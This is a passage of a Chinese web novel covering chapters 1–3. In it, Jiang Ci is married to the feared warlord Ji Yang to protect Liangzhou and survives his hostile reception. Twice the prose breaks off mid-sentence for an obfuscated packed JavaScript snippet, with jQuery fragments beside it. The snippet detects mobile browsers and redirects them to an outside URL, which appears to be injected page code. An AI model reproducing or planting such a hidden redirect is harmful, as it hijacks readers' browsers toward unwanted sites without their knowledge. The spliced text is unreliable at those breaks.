《美强惨恶犬驯养指南》
1. 第 1 章
紫川城初霁,雨后街巷尚带着水汽,地面石砖湿滑,云光漫漫。
南城外庙下的空地上,流民聚集,人声杂乱。谷雨将至,凉州仓中所余不多,仍拨出一批粮米赈济。
姜辞亲自站在粮棚前,身着浅青直裾,袖口微卷,容貌素净却气度从容,正将一袋袋量好的粮米分发出去。
春雨未干,米袋外皮略潮,粘手,她却并不在意,动作娴熟而利落,偶尔低声吩咐左右下人登记录册、安排住所,话音清清淡淡,却无一人敢轻慢。
忽然,人群中一声惊叫打破秩序。
“别挤!你推他作甚!”
“你们怎么插队呢?”
只见有几名流民突然冲出队列,趁着混乱朝前抢夺粮袋,其中一人将一个排队的小孩撞翻在地,那孩子摔倒磕到膝盖,哇哇直哭。
属吏正要上前,姜辞已先一步沉声开口:
“将那几人制住。”
声音不重,却不容置疑。
护卫立刻动身,几名闹事者被按倒在泥地上。人群愣住了,一时鸦雀无声。
姜辞走了过去,蹲下身,亲自将那孩子扶起,一面轻声安抚,一面唤人取药上前。
那几名被按住的流民仍不服,喊道:“是你们在城外贴了接纳告示!我们来领些粮米,天经地义!”
姜辞闻言站起,身上青衣被泥溅数点,她未拍去,只是一步步走近那几人。
她压下眼皮,望着他们,目光冷静清明。
“凉州愿接纳流民,是怜你们身无所依、家国俱毁。”她语气平稳,“但不代表我们欠你们。”
人群哗然,有人想辩驳,却在她下一个字落下时,噤声。
“你们当这里是什么?”她一字一顿,“是寺庙吗?是来许愿的?”
空气仿佛冻结。
姜辞目光掠过人群,语调不高,却每一字都掷地有声:
“凉州不忍战火波及百姓,所以我们不问来处、不责过往,给你们屋舍粮米,不是软弱,是仁义。”
“可若有人仗着这份仁义妄作非为,便是恩将仇报。”
“凉州,不欢迎你们,请你们即刻出去。”
她眼神不带一丝波动,却有一种令人不寒而栗的威压。
这时一骑自街道转角疾驰而来。
那人坐骑一身赤骝,马蹄如风,人在马上,衣袍随风猎猎,腰间配玉,鬓角点雨痕,一身意气风发。
正是谢归璟。
他翻身下马时,仍带着少年未尽的热气,眼底掠过一丝不悦“阿辞,这是怎么了?”
姜辞换上笑颜,答道:“无事,璟郎,你怎么来了?”
谢归璟嗓音带笑而略带怨意:“昨日我弱冠之礼,你怎地走得这样早?我本想带你去一处地方,结果宴后,竟然寻不到你。”
姜辞扬了扬下颌,让贴着手腕的绸带滑入袖中。她走至他面前,仰首遮着阳光打量他一眼:“昨日回去替长姐缝嫁衣,下个月初六她就要出嫁,怕赶不及。”
谢归璟一噎,随即笑了,眉眼舒朗,语气却更认真:“那也不该走得那般干脆。我入冠,你是第一个被请的,倒好,连杯羹酒都未敬。”
姜辞似笑非笑,语调温缓:“那璟郎想让我怎么弥补你?”
谢归璟正要再说,忽见她额前沾了米屑,皱了一下眉,从怀中取出一方帕子,低头轻轻为她擦去鬓角水渍与米尘,动作极轻,像怕弄疼她。
姜辞本欲自己动手,却看他神色认真,便也由着他了。她略一偏头,道:“璟郎倒是讲究,竟随身带帕。”
“不是讲究,是习惯,”他将帕子递给她,又补了一句,“只带给你。”
身后随从来报:“姑娘,这边登记已完,可否交予属吏后续安排?”
姜辞点点头,交代两句,便回身看谢归璟:“你方才说,要带我去何处?”
“秘密,”谢归璟抬手做了个请的手势,“随我走便是。”
姜辞抬眼看他,春光映在他面上,鬓角雨湿,笑意却干净明朗。她也不再多问,只上了马车。
车轮碾过潮湿的青石路,一路往西出城。谢归璟骑马随行,策骑慢缓,与马车并行。他坐姿挺拔,身姿修长,手执马缰的手骨节分明,眉目被阳光一照,竟有几分玉树照风林之意。
姜辞坐于车内,时而掀开车帘,望他几眼。
他侧脸轮廓清俊,神色闲适,又不时转头望她,眼神撞上,她便微微弯唇,把帘子垂下。
二人出得城来,马车行至一处高坡,前方豁然开朗。
坡上风软草长,眼底是一整片春意烂漫的花海,金粉红白交错,花浪起伏,芬芳扑鼻。
姜辞轻掀帘帐,下车站定,望着眼前景致,眼底不由浮起惊喜之色,转头笑问:“你是何时发现这样美的地方?”
谢归璟一手牵马,笑容颇为自得:“前些日子随你大哥狩猎,偶然至此,只觉春光如画,花影成诗,心中第一念,便是想着来日一定带你来看看。”
说着,他走入花丛中,挑了枝最盛开的浅粉花,步至她身前,垂眸替她簪入鬓边。
他动作极轻,语声却温柔笃定:“这花衬你,不过衬得勉强,终归是人比花娇。”
姜辞闻言,面颊微热,轻锤了他一记:“谢归璟,你如今也会说这些花言巧语了?”
谢归璟被她一捶不恼,反倒笑意更深,目光一瞬不瞬地看着她,道:“这些话,我只说与你听。旁人,不配。”
他顿了顿,忽然收了笑,语气郑重了几分:“我已经同父亲说了,过些时日,便去你府上提亲。”
“以后,我们便是一家人了。”
姜辞一怔,未料他会说得这般坦然,耳根微热,垂眸抚着鬓边那朵花,唇角却藏不住笑意。
春风拂来,她鬓发微扬,花影轻晃,整个人如那春日间最温柔的一抹色彩。
而谢归璟看着她那含羞低眉的模样,心跳仿佛漏了一拍。
他想,哪怕与她相识多年,每一次见她,依旧会心动如初,甚至更甚。
正当二人欲再言几句,忽有一名小厮气喘吁吁奔至,行礼道:“姑娘,老爷唤您回府,说有要事相商。”
姜辞闻言,略蹙眉,却未多问,只转眸看向谢归璟。
谢归璟目光柔和,替她理了理鬓边被风吹乱的花枝,低声道:“我送你回去。待他日你我成亲,便可常来此处,不必匆匆。”
他语气轻柔,却藏不住话中几分不舍与期盼。
姜辞点了点头,低声应了,眼神在花海间轻轻掠过,像要将这片光景收进心里。
她随小厮上了马车,帘幕落下前,又望了一眼已经骑在马上的少年。
姜辞一回到府中,便同侍婢银霜匆匆往内院而去,穿过花厅,入了东廊,停在书房门前。
门半掩着,微光洒入屋内,映出案几上的一张舆图。舆图以凉州为心,周围山河划界,笔触沉重,墨迹犹新,江山四分,战火将燃。
姜怀策独坐案前,眉心紧蹙,盯着图上凉州一隅良久未动。光影映在他鬓角的白发上,仿佛将一位曾领兵纵横的老将军,定格在了迟暮边缘。
姜辞看着他神情,心头隐隐不安,上前几步,轻声道:“父亲。”为他倒了杯茶,亲手奉上,“可是出了什么事?”
姜怀策接过茶盏,指尖微颤,半晌方叹了口气,道:“阿辞,你可知东阳大都督——姬阳?”
姜辞略一蹙眉,思忖片刻,缓声回道:“知道。听闻他十七岁接军权,横扫南境,一战封神。二十四岁统四州,号令整个东南,父亲为何突然提起他?”
姜怀策神色愈发复杂,眼中闪过一抹迟疑,终是叹道:“昔年我等为西凉旧部,随主帅征战多年。那姬阳,曾为质子,困于军中三载,受尽欺辱……就在我麾下。”
他说到此处,嗓音低哑:“我不曾亲加苛待,然我也未曾护他。”
姜辞一震,未言语。
姜怀策起身,缓步走至窗前,望着春雨后氤氲的山城,目光落在远处隐现的丹崖山脉,沉声道:“五年前,主帅去世,我归居凉州,不问西凉旧部之争,只求百姓安宁。可如今……姬阳兵锋东来,剑指凉州。”
姜辞神色一紧:“以父亲之兵,仅能守一方之稳。若姬阳倾全军而来,凉州如何抵挡?不过是以卵击石。”
姜怀策点头,语气苦涩:“我知。故此……只得另寻出路。”
他顿了顿,回头看向她,眼神藏着一丝迟疑与愧疚,“上月,我与姬阳之母通了一封书信。”
姜辞心头微颤,不祥之意油然而生:“父亲此言……何意?”
姜怀策缓缓走到她面前,抬手欲握她肩,又似不敢碰她,只低声道:“阿辞,父亲没本事,保不住你,也护不住凉州。我与姬夫人……已定下你的婚事。以你为盟,以婚为契,换凉州百姓一纸安宁。”
姜辞如遭雷击,身子微晃,声音几不可闻:“你……将我许给姬阳?”
“他若娶你,便不会攻我凉州。”姜怀策低低道,“你娘临终前托我护你周全,我……如今负了她的愿。”
屋内一时寂静。
窗外春风入帘,卷起案上舆图一角。姜辞目光望着那幅图,她呆立半晌,忽觉泪水不受控制般涌上眼眶。
一颗泪,滴落手背。
姜怀策沉默片刻,忽然低声道:“你阿姐已议亲,下月便要出阁;你妹妹尚年幼,如今不过是个见着果脯就走不动道的年纪,我姜家无男儿郎,如今能担起凉州之重者……唯你一人。”
他望向姜辞的目光里带着说不清的疲惫与痛楚,“你今秋就满二十了,自小便比旁人稳重得多……阿辞,爹爹真的没有别的法子了。”
话未说尽,泪已先落。他曾是西凉骁将,曾策马横戈、谈笑破敌,如今却要亲口将亲生女儿送入旧敌将营中,只为换来凉州一时安宁。
姜辞一怔,泪水在眼眶中打转,却强自扬起一抹笑意,执帕替父亲拭去眼角泪痕,声音颤抖却带着笃定:“父亲,我会去嫁。”
“流民已够多了,凉州这些年中立于四方夹缝之间,接纳无数流离失所之人。我不忍他们再受兵火涂炭,不忍你……日日守图长叹。”
她眼神澄明,语气哽咽而坚定。
姜怀策闻言猛然抬头,望着眼前的女儿,只觉她一夜之间长大了,眉目仍温柔,却已不再只是家中千娇百宠的少女,而是这座城池最后的屏障。
他喃喃低语:“阿辞……在这乱世中,你若想活得自由自在,便只能嫁给最有权势之人。”
姜辞缓缓走上前,抱住他,肩头微颤,语声低却清晰:“父亲,我明白。”
她明白这不是求亲,而是议和。
夜深时分,姜府灯火已息,唯有东厢小院尚留一盏昏黄微光。
窗外细雨如织,笼着檐下残灯,屋内静得只余笔尖轻响。
姜辞独坐案前,桌上摊开一方素笺,墨香淡淡。她执笔良久,却迟迟未落第一字。
她不是不知如何开口,只是不知,如何告别。
盏中茶已凉,窗外风穿过梅枝,掀动她鬓边几缕青丝。灯影照着她眼中水光。
良久,她终在纸上写下寥寥数句:
“璟郎:春来犹早,花事方新,你所赠之花,犹在案头未谢。”
“若有来日,我愿与你共观满城花事。但今岁风向有变,阿辞当行他路。”
“勿念。”
她将信轻轻折起,封于素匣之中。
她抬眸看了一眼窗外,春雨已停,凉风渐起,枝头初绽的新芽,在风中微颤。
她熄了灯,坐在暗中许久未动。直到夜色沉沉压顶,她才轻声一笑,喃喃低语:
“谢归璟……愿你我,都安好。”
三日后的清晨。
内院正厅被清扫一新,喜色未张,嫁衣却已入府。
银霜将一方木匣托入她房内,打开时一阵沉香扑鼻。里面是一袭锦衣,大红织金,广袖长裾,上绣暗纹鸾凤交辉,却无一丝欢意。
姜辞看了片刻,无言地伸手取出。衣料冰凉,落在掌中仿若沉石。
“姑娘……”银霜嗓音颤抖,眼眶早已泛红,“不如……不如再去求求老爷,看能不能……”
“不能。”姜辞打断她,语气平静如水,“这是凉州的嫁衣,也是凉州的甲胄。”
她缓缓穿上嫁衣,动作一如从前着衣,熟练而不疾不徐。银霜想帮她拢发,手却止不住地颤抖。
“姑娘,你昨夜未眠,脸色这样……”银霜哽咽。
姜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361258|183693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
辞却只看着铜镜中的自己,静静将最后一枚步摇插入鬓侧。
镜中人妆容未施,发鬓清净,一身喜服衬得肌肤更显雪白,眼神却冷清如初雪初霜。
她望着镜中自己,轻声道:“银霜,辛苦你了,以后要陪我去丰都了。”
天色微明,紫川城外的官道上,马蹄声杂乱,旌旗低垂,护送和亲车驾缓缓出城。
姜辞穿着一身嫁衣,稳稳坐在素幔低垂的马车中,帘外是一骑护卫整肃,银甲披寒光。
她指尖紧攥着一方帕子,帕角早已被捻出褶痕。帘内寂静,只有马车车轮碾过青石的低鸣,宛如压过心头的闷鼓。
银霜坐于她侧,眼圈微红,正悄悄抬手替她扶稳发簪。
另一侧是晚娘,也就是姜辞母亲生前的贴身女侍,年近四旬,面色凝重,紧紧握着姜辞的手,低声劝道:“姑娘……忍一忍,过了此关,一切总会安稳。”
姜辞未言,只将帕子握得更紧。
城后忽有一阵马蹄急响,由远及近,似一道风追逐而来。
是谢归璟。
他自小院听得风声不对,追问下人才惊觉姜辞今日出嫁之事,披衣便策马奔出城门。
远远望见那一行红轿素幛、甲士簇拥,他眼前猛地一震,几乎无法呼吸。来不及思索,马鞭猛抽,直奔车队而来。
“让开!让开!”
护卫闻声转身,长枪一横,将他生生拦在护卫外圈。
“谢公子,前方为和亲队列,请止步。”
“你们让开!”谢归璟眼眶发红,声如震响,“我只是……我只是要和她说一句话!”
他翻身下马,几乎是带着失控地冲向马车,声嘶力竭地唤道:
“阿辞——!”
“姜辞!你下车!你别去好不好!你若开口,我现在就去找你父亲,我、我求他……”
马车未停。
帘帐之内,那道呼唤声一声高过一声,终于震碎了姜辞眼角强忍未落的一滴泪。
银霜的手紧紧按住她的手背,轻轻摇头:“姑娘……”
晚娘一字未说,只低垂着眼,手却更紧地握住了她的肩膀。
帘幕微动,姜辞抬眸望去,能看到城门远处青灰色的光,不能看见他。
她终究没有掀开帘子。
她不能掀。
身后,谢归璟下马望着那越来越远的马车,忽而猛地低头,将那玉簪生生折断,两截玉断从指缝滑落,砸在地上,清脆一声。
眼眶通红。
十余日风尘仆仆,马车由紫川一路行至丰都。
姜辞未曾想,两地竟近得如此,不过半月,便已从娘家之地踏入姬氏疆土。
城门在望,她本以为迎亲之礼或有简式接引,哪怕一名东阳侯府中副将也好,然来者却并非姬阳,而是一队衣着考究、神色冷肃的内府婢仆,皆是姬夫人所遣。
银霜悄声:“都督竟未出迎……”
马车刚入城,前方忽有甲士列阵,东阳军横刀而立,气势森然,将马车一行人拦于城內主干道上。
为首将士沉声问道:“来者何人,敢擅入军城?”
姬夫人所派的婢女忙上前,扬声回道:“此乃夫人亲定之亲事,新妇姜氏,今日奉命入城。”
那将士目色未动,正欲言语,忽而,一阵蹄声疾至。
黑甲、黑马,一骑高踞尘上,身披紫金披风,策马而来,马蹄未停,威风已至。
正是姬阳,身旁随行一人,披青衣,佩竹简,神色温雅,乃东阳军策主,行军司马陆临川。
姬阳勒马于列阵之外,未下马,只是高高在上,盯着马车片刻,冷声开口:
“姜家女,滚出来。”
话音刚落,马车中一瞬沉寂。
姜辞指节微颤,却并未动作。
银霜望着她,眼圈发红,低声唤了声:“姑娘……”
姜辞欲揭帘下车,晚娘却先开口,不忘劝道:“都还未成亲,怎能叫姑娘先露面?礼数不合。”
话未落,那将士厉声斥道:“都督发话,有你这等下人插嘴的份?简直放肆!”
银霜面色煞白,晚娘亦被骂得噤声。
姜辞却伸手,按住晚娘的手,缓缓摇头。
“无妨。”
她声音轻淡,却带着一丝不可违逆的镇定。马车帘幕被她亲手掀起,她一步一步走下。
尘土未干,天光偏寒,她一身嫁衣早被风尘打湿,脚下泥尘侵裙,仍步履从容。
马车前,主仆三人立于风中,衣袂微扬,暮色将沉。
姜辞抬眸,望向高坐在黑马之上的男人。
那人身披玄甲,披风猎猎,五官凌厉而冷峻,眉锋如刃,目光如炬。乌发束于金冠之下,鬓边带风,整个人沉默而森然。
他端坐鞍上,气势天成,不怒自威,目光从众人身上掠过,最终,落定于她一人。
四目相接,姜辞指尖一紧,却并未移开视线。
这就是她未来的夫君——那位传言中三日夺城、五夜破敌、不近女色、冷心冷性的东阳大都督。
银霜低头,被姬阳的气场压的指节微颤,晚娘则下意识半步挡在姜辞身前,眼神戒备地望向前方。
姬阳居高临下地开口,语声寒如霜雪:
“摘掉你的面巾。”
话音落地,四周将士皆微有动作,空气仿佛被瞬间压低了温度。
晚娘心头一震,欲上前开口,却被姜辞抬手轻轻拦下。
她的指尖搭在晚娘手背上,力道温和却坚定。
姜辞不疾不徐地向前一步,屈膝行礼,声音平静:
“谨遵都督之命。”
她垂首行礼,礼数周全,却没有一丝羞怯与惧意,抬手缓缓摘下面巾。
纱落之刻,天地一瞬静寂。
那是一张可入画、可颠城的脸,五官清艳绝伦,眉眼间却带着未施粉黛的清冷孤意。
列阵士兵目光皆是一凝,那高坐马上的人,也在那一瞬,微不可察地停顿了半息。
陆临川望着她,似欣赏,又似担忧,轻声对姬阳道:“主公,美人误国。”
话音未落,姬阳的眸光骤冷,唇角勾起一道森寒弧度。
他缓缓吐出四字:“把她杀了。”
2. 第 2 章
四野风动,旌旗微颤。
气氛陡凝,兵刃未出,已似剑拔弩张。
马车之下,银霜和晚娘惊得魂飞魄散,跪倒大喊:“都督饶命!姑娘无罪!”
姜辞却忽而抬手,示意她们停声。
她站在甲士之前,望着那高高在上的男人,不言语,不屈膝,也不退缩,神色坦然如初。
姜辞不愿跪他。
她从不信卑微能换得怜悯。倘若他真要她死,那便是定局,求也无益。
既如此,那她也要站着死。
不远处,一名东阳军将士拔剑出鞘,剑光冷冽,在雨后初晴的天光下闪着寒芒。他缓步走来,步伐沉稳而无情。
姜辞身后随行而来的护兵慌乱拔剑,却被其他将士逼退一步。
就在众目睽睽之下,姜辞忽然出手,以迅雷不及掩耳之势夺过身侧一人手中的长剑。
动作利落干脆,毫无迟疑。
众人一惊未及阻拦,她已将剑锋横在自己颈前,目光直指马上的姬阳,语声冷静:
“都督不必让你的人出手。”
“自我出了凉州那日开始,便是作为你未来之妇前来。你若要我死,那我自己动手,也算体面。”
“否则传出去,说堂堂东阳大都督的新妇死于部下刀下,怕是不好听。”
她手中的剑未颤,目光也不躲避,语调清冷,却在场每一人心上砸下一声惊雷。
姬阳居高临下,眸色一沉,盯着那抬首望向他的女子。
她眼中果真无惧,只有一腔冷定,她是真的,不怕死。
他冷声开口:“你我尚未成婚,何来新妇之说?”
姜辞不语,只是唇角微扬,神情平静,握剑的手却已悄然用力。
她不等他回应,手腕一动,便要将剑刃划下。
就在那一瞬——
“锵!”
一箭破风而来,疾若流星,长剑应声飞落,掉在地上,所有人屏息一瞬。
剑脱手的同时,利刃已在她颈间留下一道薄红的血痕,血丝缓缓渗出,顺着她雪白的肌肤而下。
姜辞却未动分毫,神情未改。
银霜与晚娘早已跪倒在地,伏着身子,不敢出声,脸色煞白。
姬阳收弓,冷声道:“既然我母亲执意要见你,那便留你多活几日。”
说罢,他将弓随手甩给一旁将士,勒马掉头。
“走。”
陆临川一言未发,紧随其后,临行之际,他回头望了姜辞一眼——
那女子站在混乱之中,嫁衣染血,却身姿笔直,她缓缓抬手,朝他二人盈盈一礼。
眉眼宁静,宛若从未惊波动澜。
马车缓缓行驶,帘幕一落,尘世喧哗隔绝在外。
银霜与晚娘扶着姜辞坐下,这才发现她指节泛白、浑身微颤,嫁衣下的脊背僵直如弓,冷汗透衣,湿了中衣衣角。
她始终未曾出声,直到坐稳那一刻,脸上的冷静终于崩塌。
她眼中水光翻涌,唇齿轻咬,像是用尽全身力气才压住胸口翻腾的恐惧。她倔强地绷着,终究还是被惊骇逼出本色。
泪水一滴滴落下,她低声道:
“刚才……我们差点就死在那儿了……”
声音微哑,颤得厉害。
银霜再也忍不住,低低啜泣出声:“姑娘,你刚刚吓死我了……我以为你真的要……”
姜辞转头看她一眼,眼神还是清醒的,带着淡淡疲惫,却并不悔意。
“是啊,”她轻声答道,“我那时……的确是做好了赴死的准备。”
她低头,抚了抚脖颈上被晚娘包扎的剑痕,语气缓慢却极清晰:
“这门婚事,是姬夫人定下的。我听闻姬阳丧父,兄长病重多年,他一人担起整个姬氏,唯姬夫人一人所亲所重。”
“他疑我、厌我都可以,我只赌一点,他敬母。”
“他再如何杀伐果断,也不会当众违逆亲母立下的婚盟。”
她眼底血丝未退,泪未尽,但言辞却是步步为营的冷静,带着赌徒一样的锋利理智。
晚娘握住她的手,眼中满是复杂情绪,低声道:
“姑娘这是……以死博生。”
姜辞回握住她,轻轻一点头。
“博生,更是博局,倘若我也跪地求他,到叫他小瞧了我们姜家。”
她活着,才能立于这座军棋盘之上,才有可能为凉州留一线生机,想起父亲说姬阳为质三年,受尽屈辱与苦楚,她若倒在丰都,那么凉州也会被他铁骑踏破。
银霜看着她,喉中哽咽,只能低头不语。
东阳侯府门前,红墙黛瓦,肃静威严。
马车一停,未等下人通禀,一名身着绛色大氅的中年妇人便已出门而立,身姿挺拔,目光沉稳。
她鬓发虽斑,却束得利落,眉眼间英气未退,脚下步履铿锵。虽年过五旬,整个人却透着一股久经沙场的干练之气。
正是东阳都督之母,昔年与夫君并肩沙场,也是立下过战功的姬夫人。
姜辞刚踏下马车,尚未开口,姬夫人已快步迎来,一把握住她的手,目光定定地看着她的脸,神情中带着些许怔然。
良久,她轻声叹道:
“你和你母亲……长得真像。”
姜辞一怔,连忙俯身行礼:“见过夫人。”
姬夫人伸手将她扶起,语气干脆:“你我之间,不必行这么多礼数。”
姜辞眨了眨眼,有些迟疑地问:“夫人……是认识家母的?”
姬夫人听她提起旧人,眼底浮上一层淡淡的回忆,语气微缓:
“岂止是认识,我们一同长大,自小就是最要好的姐妹。”
“只是后来,她嫁了凉州姜氏,我随姬阳父亲奔赴军营,自此天各一方。那一别……竟是诀别。”
“战火纷飞,世路艰难,想再见一面,竟也成了奢望。”
她说着,顿了顿,仿佛不愿再沉溺于旧事,目光重新落回姜辞身上,柔声一笑:“不说这些了。”
“好闺女,舟车劳顿,快随我进来。”
姜辞望着眼前这位英气犹存的女将,眼底浮出一丝从未有过的安定之意。
姬夫人亲自引着姜辞入了内宅,并未将她安置于偏僻院落,而是绕过回廊,径直在主院东侧停步。
“这里。”她指了指眼前朱漆院门,“与你未来夫君的院子只隔一墙,相距不过数步。你若有事,叫一声便听得见。”
姜辞怔了怔,略有意外。
姬夫人似是看出了她心思,笑着回头望了她一眼,又收了笑容,视线落在她颈侧纱布之上,神情略有几分复杂与无奈。
“子溯的性子,我是知道的。”她轻轻叹了口气,“你不必怕。男人在外面杀伐果断,那是因局势所逼。可家里若有一个懂事柔和的女子,他迟早会软下来。”
她语气平和,却极有分寸。
“更何况,有我在。”她语意微顿,带着长辈的笃定与维护,“断不会叫他胡来。”
姜辞低头应了一声,声音不高,却极为恭敬。
“多谢夫人。”
姬夫人拍拍她的手,又吩咐几名得力的女侍与老妈子:“从今往后,这院子就是姜姑娘的主所,一应起居饮食都由你们听用安排。若有一丝怠慢,为你们是问。”
一众人齐声应下。
交代妥当后,姬夫人让姜辞好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361259|183693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生歇息,才带人转身离开。
院门掩上,尘嚣隔绝。
姜辞缓缓踏入屋中,目光环顾四周,陈设精致却不流俗,窗几净雅,帷幔用的是细纹蜀锦,榻边香炉燃的是温沉不艳的檀香。
书案上搁着未写的素笺,角边压着一枚碧玉镇纸;墙上却无一幅男子之像,全然一副女子闺房的静谧气象。
显然,这处院落是临时布置出来的,却又布置得极为用心细致。
这一刻,姜辞终于觉得,哪怕只是片刻,心,稍微安定了一丝。
晚娘与银霜已将行李箱笼打开,铺衣、摆物、置器。
屋外春风细细,吹动帘幔轻摆,姜辞轻轻抚过榻边衣架,指腹触到木纹温润,不知怎的,眼底一瞬竟涌出微不可察的酸意。
今后的路就要她一个人走了。
一切收拾妥当,屋中点了温香,灯火柔和。
姜辞披了件外衣,倚在院门边,望着天边月色。夜色如水,静得能听见风吹竹影的轻响。
正出神间,隔墙忽然传来一声低怒:
“母亲!你做什么——?”
姜辞眉头轻蹙,脚步一转,悄然绕出侧门,顺着回廊拐至东侧小径,恰好看见隔壁庭院里,一道熟悉的高大身影正在逃窜,而另一道威风不减的女将身影,正挥着一根竹子,追在他身后。
姬夫人发髻稳整,衣袍带风,手中竹杖生风,一边追一边骂:
“姬子溯!你当我是眼盲的?那姜家姑娘脖子上的伤是凭空长出来的吗?你还口口声声说没为难她?”
姬阳一边躲一边喊:“我真没有为难她!她自己拔的剑!我只是……我只是吓她一下!”
“吓她一下你说得倒轻巧!”姬夫人一竹子落在他腿上,咬牙怒道:“还说什么美人误国,要杀了她是吧?你是不是疯了!”
“我那是军中戒令!哎哎哎,娘!你轻点!”姬阳脚步乱了几下,刚一转身,目光便撞上了站在院门外的那道素衣身影。
姜辞立在月下,一身清衣,神情平静,未言未动。
姬阳动作顿住,眸色微冷,未等开口,姬夫人手中竹杖顺势抽在他大腿上,发出“啪”地一声脆响。
姬阳却连眉头都未皱一下,只定定望着姜辞,眼底浮上不悦的情绪。
姜辞眼神一动,旋即轻轻别过头去。
姬夫人也随即注意到院门外来人,神色一滞,随即冷哼一声,随手将竹杖往一旁一掷,抬手对姬阳道:“今儿我就给你留点脸面。给姜姑娘道个歉。”
说罢便转身欲走。
姜辞见状,连忙上前半步,盈盈一礼,语声温缓:“夫人言重了。都督并未为难我。”
“此事……是我主动所为。”
她抬眸望向姬夫人,语气分明却柔和:“毕竟凉州与东阳曾属敌对之列,他对我心生戒备,亦在情理之中。我……未尝不是也对他抱有敌意。这些都是旧事,夫人莫要责怪。”
姬夫人闻言,脚步微顿,回头看了她一眼,眼中浮现出些许欣慰,轻声道:
“你是个懂事的孩子。”
言罢,拂袖而去。
院中只剩下姬阳与姜辞,气氛一时间沉寂。
夜风拂过,落叶打旋。姬阳站在月光下,眼神沉沉望着院门处未进的女子,冷笑一声:
“蛊惑人心,一手好段数。”
“竟能让她转而向着你说话。”
姜辞站定在门外,始终未越过院门一步。
她并不争辩,只静静看着那棵月下老树,风吹枝影斜落在地。
姬阳薄唇一抿,语气更冷:“如果你在等我向你道歉,趁早死了这条心,我暂时留你这条命已经仁至义尽。”
3. 第 3 章
姜辞并未回话,只盈盈一礼,语气淡然:
“谢都督不杀之恩,允我苟活。”
她说得规矩周全,半分不失礼,然而那字字句句,却毫无讨好之意。
话语出口,反倒像是在借礼貌封人情,叫人无从追责,也无从接话。
姬阳听着这句“苟活”,眉目未动,心却仿佛被什么细细刮过,生出一丝难言的不快。
她不是软弱求全,而是根本不屑求情。
他刚要开口,姜辞却已转身,步伐轻快,带着银霜安静离去,只留他一人站在园中,风落青瓦,夜色沉沉。
—
翌日清晨。
姜辞早早起身,熬了一碗百合莲子清汤,亲自盛好放进托盘,带着银霜往姬夫人院中请安。
东阳侯府尚未完全醒透,内宅花木微润,露气清寒。她正欲拐入垂花门,忽听得一声惊呼,一道小小的身影从回廊边猛地冲出。
“当心!”
姜辞尚未来得及避让,那孩子已撞上她侧腰,手中的汤盅“哐啷”一声倾斜,热汤泼溅而出,洒在她的手腕处,一阵灼痛袭来,腕上迅速泛起一抹通红。
银霜后脚赶来,见状脸色骤变,连忙奔上前:“姑娘,小心——”她忙着掏帕子欲擦拭姜辞的手,语气急促。
姜辞却先拦住了她,反倒将帕子接过来,蹲下身去,先替那被汤溅湿衣裳的小孩子轻轻擦拭。
小孩睁大眼望着她,衣裳被湿了一片,所幸没碰到皮肤,没什么大事。他眼珠黑亮,气质清贵,面容未开,却眉眼分明,与姬阳颇有三分神似。
姜辞动作温和,边替他擦着,边低声问道:
“你叫什么名字?”
那孩子眨了眨眼,带着一点稚气又不怯人:“我叫姬云梵。你也是来看祖母的吗?”
姜辞一怔,眼底微动,原来是姬阳大哥姬栩之子。她回过神来,轻轻点头:“是的,我是来拜见夫人的。”
姬云梵眼神亮亮的,忽然压低声音凑近了些:“那你就是二伯要娶的新妇吗?”
姜辞唇边含笑未答,他又认真看了她一眼,小大人似的点点头道:“你真好看。”
姜辞轻轻一笑,让银霜打开随身的食盒,从里头取出一个用蜜渍桂花做的小糕点,递给他。
“这是我早上做的,你尝尝,喜欢我下次再做给你。”
姬云梵双手接过糕点,眼睛都弯了,正欲开口说话,身后不远处,一个婆子快步走来,连忙向姜辞福身:
“见过姜姑娘,小少主顽皮,叨扰了姑娘,请恕罪。”
姜辞起身,笑着摆摆手:“无妨。”
那婆子温声劝道:“小少主,该回去了读书了。”
姬云梵依依不舍地看了姜辞一眼,又低头望了望手中的桂花糕,才乖乖点头:“那我可以明天再来找你吗?”
姜辞温声道:“我就在那座院里,你想来,随时都可以。”姜辞说着,指了指不远处的院落。
小少主笑得眉眼弯弯,被婆子牵着走远,步子轻快。
银霜在一旁低声道:“他生得倒像极了……倒是好亲近。”
姜辞点点头,与小少主和婆子告别,这才转回到自己院中。
直到脚步一转入门槛,她才露出一丝压抑许久的吃痛神色。
手腕上那一片灼红愈发明显,汤汁泼洒处已浮起薄红,被袖口一蹭,疼得她眉心微蹙。
银霜看在眼里,心疼不已:“姑娘,要不先敷药再去夫人那边?”
姜辞轻轻摇头,语气温和:“汤撒了,还好我早晨多熬了一些。你先回厨房去,把那剩的一份再温一温,我在这里等你。”
银霜应声退下。
姜辞稍稍理了理衣襟,拢好袖口,遮住那道红痕,等到银霜再次过来,二人便朝正院而去。
姬夫人院中正有客在。
她端坐在主座,面前坐着一位鹤发童颜、衣袍斜挂道铃的老道士,正手持拂尘,与她低声言语。
见姜辞进来,姬夫人目光一亮,连忙招手道:“快过来坐,正说到你呢。”
姜辞行礼:“见过夫人。”
姬夫人亲自起身将她拉到身边坐下,笑道:“这位是平江观李道长,是我多年的旧识,极擅推命定日。”
“先前收到你父亲的信,只想着先接你来丰都,其他日后再说,实在仓促,昨日一见,我对你甚是满意,今日想着,终归是要成礼的,就请他来瞧瞧,看看你和子溯的八字,可配?何日合礼最宜?”
